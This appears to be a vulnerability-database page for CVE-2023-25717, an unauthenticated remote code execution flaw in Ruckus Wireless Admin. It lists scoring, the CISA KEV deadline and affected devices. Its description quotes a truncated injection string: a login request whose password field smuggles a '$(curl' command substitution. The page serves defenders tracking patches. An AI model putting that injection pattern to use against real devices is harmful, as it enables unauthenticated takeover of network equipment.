peter bassill · operator
$ cve CVE-2023-25717 JSON

CVE-2023-25717 KEV

9.8
CRITICAL · CVSS 3.1 · EPSS 98.1% (pctl 100)

Patch first

On CISA KEV — known exploited in the wild, due 2023-06-02.

Description

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

Scoring

CVSS9.8 (CRITICAL, v3.1)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS98.07% — more likely to be exploited than 100% of all CVEs
WeaknessCWE-94
On CISA KEVyes — remediate by 2023-06-02
Public exploitnone known
Published2023-02-13
Last modified2026-06-17

CISA KEV

NameMultiple Ruckus Wireless Products CSRF and RCE Vulnerability
Added2023-05-12
Due2023-06-02
Vendor / productRuckus Wireless / Multiple Products
Ransomware usenone reported

Affected (40)

VendorProduct
ruckuswirelesse510
ruckuswirelessh320
ruckuswirelessh350
ruckuswirelessh510
ruckuswirelessh550
ruckuswirelessm510
ruckuswirelessr310
ruckuswirelessr320
ruckuswirelessr350
ruckuswirelessr500
ruckuswirelessr510
ruckuswirelessr550
ruckuswirelessr600
ruckuswirelessr610
ruckuswirelessr650
ruckuswirelessr710
ruckuswirelessr720
ruckuswirelessr730
ruckuswirelessr750
ruckuswirelessr760
ruckuswirelessr850
ruckuswirelessruckus wireless admin
ruckuswirelesssmartzone ap
ruckuswirelesssz-144
ruckuswirelesssz100
ruckuswirelesssz300
ruckuswirelesst300
ruckuswirelesst310c
ruckuswirelesst310d
ruckuswirelesst310n
ruckuswirelesst310s
ruckuswirelesst350c
ruckuswirelesst350d
ruckuswirelesst350se
ruckuswirelesst610
ruckuswirelesst710
ruckuswirelesst710s
ruckuswirelesst750
ruckuswirelesst750se
ruckuswirelesst811-cm

References

→ the Explorer  ·  watch your stack  ·  NVD